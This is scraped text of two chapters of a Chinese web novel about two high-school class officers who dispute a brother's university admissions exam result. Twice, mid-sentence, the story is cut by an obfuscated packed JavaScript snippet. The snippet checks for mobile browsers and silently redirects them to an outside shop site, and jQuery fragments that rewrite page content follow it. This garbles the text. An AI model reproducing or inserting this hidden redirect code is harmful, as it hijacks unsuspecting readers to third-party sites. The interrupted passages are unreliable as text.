关铸被徐大小姐拽着卫衣兜帽,连拉带推地硬送进了会议室。 来都来了,没办法,他只得找了个位置坐下。 “这种无聊的会议,你爱来开就自己来好了,怎么还非得拉上我?” 徐娅坐在他边上,理所当然道:“大家都是班委,有苦自然要一起吃。” 关铸发出了长长的一声叹息。 不过徐娅很快就发现拉关大班长来开会是个错误的决定,因为他竟然当着校长的面明目张胆地趴下睡觉了。 校长本来还在台上对着麦克风激情演讲,看到台下有人直接睡着了,脸都要绿了。 这可是班委会议,什么是班委?那是学校的先进群体! 作为班委竟然开会睡觉,真是岂有此理! 校长一怒,直接让高二3班罚站。 于是徐娅被无辜牵连,一帮班委在会议室里开会,就她在会议室外面陪罪魁祸首罚站。 不时还有学生路过,徐娅恨不得找条地缝钻进去。 关铸倒是早就免疫罚站了,丝毫没有羞耻心。打着哈欠歪歪扭扭站着,就差直接靠墙上打盹了。 开完会后两人回教室,徐娅不想搭理关铸,一个人走在前面。 关铸知道徐娅生气了。要不要顺一下毛呢? 还是顺一下好了。 “喂。”他叫住徐娅。 徐娅一脸不开心地转过头:“干嘛?” 关铸抬了抬下巴,示意她看路边的宣传栏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984477|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐娅顺着看过去,发现宣传栏上属于高一高二的荣誉榜更新了。 和高三生那高频次的更新速度不同,高一高二的荣誉榜一般一个学期才更新一次。 徐娅盯着高二荣誉榜的第一名看。 关铸慢悠悠晃到徐娅边上,调笑道:“哟,咱们高二年级的第一名是谁啊?成绩这么好,还长得这么好看。” 徐娅飞了他一眼,高贵冷艳:“别以为这种简单的吹捧对我来说会有用。” 没用吗?那怎么你看起来明显在暗爽? 关铸不点破,点点头继续顺毛:“是是,徐大小姐才不是这么肤浅的人。” “哼!” 徐娅看着荣誉榜上自己的那一栏,上学期时,因为才刚转学到塘西,她只能看别人挂在荣誉榜上,早就暗暗期待换榜那天了。 可惜高一高二换榜频次太低,一整个学期才换一次,不然她肯定能更早登上这个榜。 徐娅欣赏着自己的照片和简介,这照片用的是学校给学生统一拍的证件照,学校的证件照嘛,拍摄水平可见一斑,几乎每个榜上的人都看起来灰头土脸的。 于是她就在其中显得格外突出。 占据着年级第一的位置,照片还这么突出,徐娅的虚荣心得到了巨大的满足,完全把刚才开会时的不愉快扔到脑后了。 19. 亲兄弟×申诉中 关铸没有回答,仰头把一罐啤酒喝完,又狠狠把啤酒罐捏扁,长手一抬扔进远处的一个垃圾桶。 徐娅看着他,他的表情很淡,但她知道他现在心情极差。 两人走到林荫道边的长椅,关铸坐下,一手支着扶手,一言不发地拿着手机把玩。 徐娅站在他面前:“普通的考砸你应该不至于这么不高兴,所以是怎么了?” 关铸静了一会儿,说道:“下午关蔚查了自招的成绩,他的成绩不可能是那个水平。” 徐娅一顿,问道:“和平时的成绩差很多?” “差距大得吓人。” 关蔚参加的那所大学的自招考试一共有四个科目,分别是数学、物理、英语、知识储备,四个科目加起来满分四百分。 数学、物理、英语的考试内容和平时学的、做的那些题目有一定区别,但用到的知识点基本是高中阶段学过的。至于知识储备,则比较包罗万象,考察课余的看书积累。 一般来说,考生很难在这样的考试中拿到很高的分数。 但即使如此,对于关蔚这样成绩优异的学生,也不会考出太过离谱的低分。 下午时关蔚查到他最后的总分是一百九十七,连一半的分数都没拿到。 关铸冷笑:“我看了那套卷子,即使是我考,也不至于拿不到一半的分,更何况是他。” “能让我看一下卷子吗?” 关铸打开手机,翻出一个电子文档发给了徐娅,是从网上下的那套卷子的真题。 徐娅坐到关铸旁边,打开文档看了一会儿。 难度确实是有的,徐娅预估了一下自己的水平,不发挥失常的话,应该能拿到二百八左右的分,这还不算那些还没学的高三知识点的题。 徐娅转头看关铸,他应当是很心烦,点了一支烟抽。 “有向那所大学提出申诉吗?” “提了。”关铸将烟咬在嘴里,看着遥远的夜色,“但对方说申诉流程很长,至少要五个工作日才能给我们一个结果。” 徐娅看着关铸,他的眉紧皱着,本就面相凉薄,沉着脸便显得更加不好亲近了。 徐娅发现,关铸的情绪往往处在光谱的两端,大多数时候,他的情绪很轻,有种不把人事放在心上的洒脱和超乎寻常的包容力,但如果事关他所在意的人与事,他的情绪会很轻易地滑向另一个极端。 他很少真的生气,而一旦真的生气,就显得十分可怕。 家人绝对是关铸心中的逆鳞。 徐娅突然想起自己还未与关铸和解前,在广播站与他因运动会的事吵架,那时她嘴贱,差点在他面前非议他的亲生母亲…… 幸好当时及时住了口。 一丝愧疚。 关铸看起来心情实在差劲,徐娅想了想,抬起手,轻柔地摸了摸他的发顶。 关铸因这突如其来的动作怔住,诧异地转头看向徐娅。 “你在做什么?” “我看你很心烦,想让你放松点。”徐娅说道,“脑袋是人很敏感的区域,我小时候心情不好,我妈妈就会摸摸我的脑袋。” 大概是极少有人对他做这样的动作,关铸滞在了原地,好一会儿才撇过头,轻声道:“我又不是小孩。” “大人和小孩都是一样的啊。”徐娅说道,“如果我在一场很重要的考试里遇到这样的事,一定也很心烦。你和关蔚哥是亲兄弟,你们血缘相连,他遇到这样的事,你肯定能感同身受,甚至更难过吧。” 关铸没说话。 徐娅从口袋里摸出一块巧克力,递到他面前:“要吃吗?” 关铸盯着眼前那颗包装精致的巧克力,好一会儿,突然说道:“我跟关蔚不是亲兄弟。” 徐娅愣了:“啊?” 关铸转头看她,目光中带着几分探究:“不管是之前对罗雾家的事,还是对我和关蔚的事,你好像无意识地表现出……很在意、也很强调血缘这个东西?” 这还是头一次,关铸用如此认真又探究的目光看她,似乎想要看出她藏在心里的事。 徐娅心头一跳,立刻否认:“我没有!” 许是意识到了徐娅的抗拒,关铸沉默了一会儿,别过了头。 徐娅也发现自己有点反应过激,顿了好一会儿,才讷讷地开口:“那你和关蔚哥怎么……” “没有血缘就不能是兄弟么?” “我也没这么说,就是……就是才听你说起这个事,很惊讶。” “我们一起长大,互相把对方当亲人看待,即使没有血缘,那也是兄弟,不是吗?” 徐娅愣住。 没有血缘,会有牢固的感情吗? 关铸从领子里摸出一个吊坠,那是一个银质的吊坠,坠子的设计极其简洁,像个拍扁的空白麻将牌,牌上什么也没有。 “我有记忆开始,就和关蔚还有他妈妈一起生活,据他妈妈说,这个坠子是我亲妈留给我的唯一的东西。哦对了,关于我的亲妈,你应该早就听说了吧,她是个妓/女,怀上我纯属意外。” 徐娅怔住,她是早听说过,但她完全没想到有一天关铸会主动说起这件事。 她更不明白,关铸为什么突然向她说这些。 这样的事,不应该是对着关系亲近的人才会主动提起的吗? 如她,方才关铸问起她对血缘这个东西的在意时,就完全说不出口其中的原因。 他为什么要对她说这些? “我三岁,也就是关蔚四岁时,他妈妈就因为太操劳过世了,他没有爸爸,所以我们俩就成了孤儿,被镇子的孤儿院收养了。因为我妈的职业,身边非议和嘲笑我的人很多,关蔚就让大家以为我们是亲兄弟,之前一起被他妈妈收留,又一起在他妈妈过世后来到孤儿院。他想帮我一起分担那些非议和嘲笑。” 关铸双手撑在身后,整个人松松的,抬头看夜空中的月亮,眼神带着一丝罕见的柔和。 “据说我妈留给我的这个坠子是我爸给她的,她希望我能去找我爸。我去找了,但只远远看了一眼就回来了。即使我身上留着他的血,他也不是我的亲人。我的亲人我知道是谁。” 说完这些身世,关铸瞥了徐娅一眼。 徐娅隐隐约约觉得自己应当是明白他为什么突然说起这些的。 她选择转头,避过了关铸的视线。 于是她听见关铸呵笑了一声,又轻又凉。 虽然关铸看起来对她的反应有些不满意,但徐娅知道,他不会真的把这点小龃龉放在心上。 于是第二天一早,她就毫无心理负担地又去找他了。 关蔚估计被这次自招的成绩给刺激了,大周日的早早就已经去学校自习了,而关叔则在徐娅找上门时正好要出门去越剧团排练。 所以整个关家就剩一个还在睡觉的关铸。 徐娅敲关铸卧室的门,敲了好久,他终于来开门了。因为刚被吵醒,他睡眼惺忪、头发蓬乱,身上穿着绒质的睡衣裤,脸颊侧还睡出个枕头花纹的红印子。 徐娅第一次发现,关铸还能和“可爱”这个词儿扯上关系。 关铸见是徐娅,打着哈欠问:“一大早的,干什么?” “早什么,都快八点了,你哥都出去早自习了,你叔也去排练了,就你还在睡觉。” 关铸眯眼,随手打算关门:“要是你吵醒我就是为了说些废话,那还是圆润地离开吧。” “……” 徐娅制止他关门的动作,终于开始说正事:“我买了上午九点的高铁票,我们一起去一趟西府市。” 关铸一顿,因没睡醒而半阖的双眼终于清醒了。 一个小时后,两人顺利坐上了去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115195|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往西府市的高铁。 徐娅打开手机上的地图,研究着路线:“西府和沪市距离小镇的距离差不多,十点就能到,从西府东站到西府大学大概半个小时,顺利的话,十点半我们就能站在西府大的招生办公室了。” 关铸抱臂侧靠着玻璃窗,打量徐娅好一会儿,这才说道:“我没想到你对关蔚考砸这件事这么上心。” 西府大学就是关蔚去参加自招考试的那个大学,两人现在去西府大学就是为了关蔚考砸的事。 “那是当然。”徐娅撇嘴,“我的高考第一志愿就是西府大学,明年这时候肯定也会参加西府大学的自主招生,如果它的自招考试有什么问题的话,我必须得尽早给它正本溯源,不能影响我明年的考试。” ……还真是很符合徐娅的行事风格,为了遥远的目标可以行动力满满。 路途还算顺利,约莫十一点不到,两人就抵达了西府大学的招生办公室。 因为是周末,办公室里只有两个老师,一个年长些,一个年轻些。 徐娅和关铸开门见山地说了来意。 年轻老师皱眉:“你们是不是昨天就已经报了申诉,不是告诉你们等着消息吗?” 徐娅先嘴甜地叫了老师好,然后摆出苦恼的样子:“申诉至少要五天,可是我哥哥三天后有另一场考试,如果等申诉结果,都没法去参加那场考试了。” 不同大学的自招考试很多都放在了同一天,也就是和西府大学一样的那天,但有一所以文科闻名的大学却比它们晚几天。只是如果要参加,就等于要放弃之前已经考过的自招考试的成绩。 如果关蔚直接去参加了那所大学的考试,最后申诉结果却发现他在西府大学自招的成绩有误,纠正完的成绩是可以拿到西府的自招名额的,那岂非太可惜了。 比起那所晚一些的文科类大学,关蔚作为理科生显然更适合西府大学。 年轻老师并没有被说动:“即使你这么说也没办法,调出考卷要三层领导点头,流程就是要这么久的。” “我理解,可是毕竟事关将来高考的加分,老师能不能帮我们想想办法。”徐娅可怜兮兮地看着那老师,“求求老师了!” 年轻老师有些犹豫:“这……” “帮帮他们吧。”这时候,一直在旁边悠闲喝茶的年长老师说道,“规矩是死的,人是活的,俩孩子为了这事特意跑来一趟,你再不答应,人孩子说不定就要赖着不走了,到时候有媒体什么的一报道,更是大麻烦。” 徐娅心想这位年长些的老师倒是经验丰富,把她的planB给看穿了…… 年长的老师似乎是招生办公室的主任,她同意后,那位年轻老师在系统上操作了一下,先让年长老师点了同意,而后由年长老师给教务主任和校长打电话,让对方登录系统点同意。 大约十二点,关蔚的卷子终于被调出来了。 年轻老师核算分数后说道:“卷子上的姓名和准考证号无误,算分也无误。” 徐娅问道:“那批阅呢?” “我和阅卷组的老师确认过了,他查了一遍,也没有问题。” 徐娅和关铸对视了一眼,都从对方的脸上看到了诧异和疑惑。 徐娅问:“老师,能让我们看一眼答卷吗?” 年轻老师坚定摇头:“这个真的不可以,不好意思。” 关铸不知想到什么,一直没说话的他突然问道:“老师,可以告诉我们这张答卷的大题是全部答了的吗?” 年轻老师看了眼屏幕,摇头:“有三个大题都空着呢。” 此话一出,关铸沉默下来,周身的气压极低。 徐娅问他:“你是发现什么了吗?” 关铸顿了片刻,终于说道:“无论会不会做,关蔚从不会空任何大题。这张答卷,绝对不是关蔚的答卷。”